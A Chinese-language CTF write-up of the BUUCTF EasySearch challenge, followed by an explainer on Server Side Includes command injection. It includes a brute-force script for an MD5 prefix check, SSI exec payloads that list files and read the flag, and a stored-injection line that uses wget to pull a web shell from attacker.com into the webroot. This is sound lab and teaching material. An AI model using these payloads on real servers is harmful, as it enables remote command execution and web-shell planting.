1.buuctf [BJDCTF2020]EasySearch
进入题目页面如下
尝试输入弱口令密码都显示错误
看题目是search,扫描一下根目录试试
/index.php.swp
得到源码
进行一下代码审计
<?php
//开启输出缓冲,将所有的输出内容先保存到缓冲区,而不是直接输出到浏览器。
ob_start();
//定义一个名为 get_hash 的函数,用于生成一个随机的哈希值。
function get_hash(){
//定义一个包含各种字符的字符串,用于生成随机字符。
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
//从 $chars 中随机选取 5 个字符并拼接成一个字符串。
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];
//生成一个基于当前时间戳的唯一标识符,并与随机字符串拼接。
$content = uniqid().$random;
//对拼接后的字符串进行 SHA - 1 哈希处理,并返回哈希值。
return sha1($content);
}
//设置 HTTP 响应的 Content - Type 头,指定响应内容为 HTML 格式,字符编码为 UTF - 8。
header("Content-Type: text/html;charset=utf-8");
//检查 POST 请求中是否包含 'username' 参数,并且该参数的值不为空。
if(isset($_POST['username']) and $_POST['username'] != '' )
{
//定义一个管理员密码哈希前缀。
$admin = '6d0bc1';
//对用户输入的密码进行 MD5 哈希处理,并截取前 6 位,与管理员密码哈希前缀进行比较。
if ( $admin == substr(md5($_POST['password']),0,6)) {
//如果密码验证通过,弹出一个包含欢迎信息的 JavaScript 警告框。
echo "<script>alert('[+] Welcome to manage system')</script>";
//生成一个随机的文件名,文件名为 'public/' 加上 get_hash 函数生成的哈希值,后缀为 '.shtml'。
$file_shtml = "public/".get_hash().".shtml";
//以写入模式打开文件,如果无法打开则输出错误信息并终止脚本。
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
//定义要写入文件的文本内容,包含用户输入的用户名。
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
//将文本内容写入文件。
fwrite($shtml,$text);
//关闭文件。
fclose($shtml);
//输出错误信息。
echo "[!] Header error ...";
} else {
//如果密码验证失败,弹出一个包含失败信息的 JavaScript 警告框。
echo "<script>alert('[!] Failed')</script>";
}
} else {
***
}
***
?>
代码仅对用户输入的密码进行 MD5 哈希处理
并截取前 6 位与预设的哈希前缀进行比较
可以通过简单的暴力破解或彩虹表攻击来找到满足条件的密码
由于只需要匹配 MD5 哈希的前 6 位,可以编写脚本,尝试不同的密码组合,计算其 MD5 哈希值并截取前 6 位进行比较,直到找到满足条件的密码
或使用预先计算好的 MD5 哈希值和对应的明文密码的彩虹表,查找哈希值前 6 位为 6d0bc1
的密码
python脚本
import hashlib
admin_prefix = '6d0bc1'
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()+-'
# 简单的暴力破解函数,生成不同长度的密码组合
def brute_force():
import itertools
for length in range(1, 10):
for combination in itertools.product(charset, repeat=length):
password = ''.join(combination)
md5_hash = hashlib.md5(password.encode()).hexdigest()
if md5_hash[:6] == admin_prefix:
return password
password = brute_force()
if password:
print(f"找到密码: {password}")
else:
print("未找到密码")
可以用pycharm运行python代码,结果如下
RhPd
使用密码登录并用burp suite抓包
得到路径
访问试试
得到这个界面
构造payload,返回上一个目录
username=<!--#exec cmd="ls ../"-->&password=RhPd
再次登录抓包,得到新的URL
访问试试
发现flag_990c66bf85a09c664f0b6741840499b2目录
payload
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=RhPd
再次登录抓包
访问,最后得到flag
SSI远程命令执行漏洞
Thinking
SSI(Server Side Includes)远程命令执行漏洞 是一种利用服务器配置不当,通过注入恶意SSI指令实现任意命令执行的高危漏洞
漏洞原理
SSI工作机制
SSI允许在HTML文件中嵌入服务器端指令(如 <!--#exec cmd="命令" -->),服务器解析时会执行这些指令。
漏洞成因
Web服务器(如Apache)开启 Includes 或 IncludesNOEXEC 配置
用户输入未过滤直接输出到SSI可执行文件中
允许上传扩展名为 .shtml 的文件
漏洞利用步骤
1. 检测SSI支持
nmap -p 80 --script http-ssi <目标IP> # 检测响应头包含 "Server: Apache/2.4.x (Unix) mod_include/2.4" 等 curl -I http://target.com/page.shtml # 查看是否返回 "X-SSI: enabled"
2. 命令注入方式
反射型注入
当用户输入被嵌入到SSI文件时
<!-- 原始代码 --> <html> <body>Welcome, <!--#echo var="QUERY_STRING" --></body> </html> # 攻击payload: http://target.com/page.shtml?name=<!--#exec cmd="id" -->
存储型注入
上传恶意 .shtml
文件
<!-- 关键注入点 --> <!--#exec cmd="wget http://attacker.com/shell.php -O /var/www/html/shell.php" -->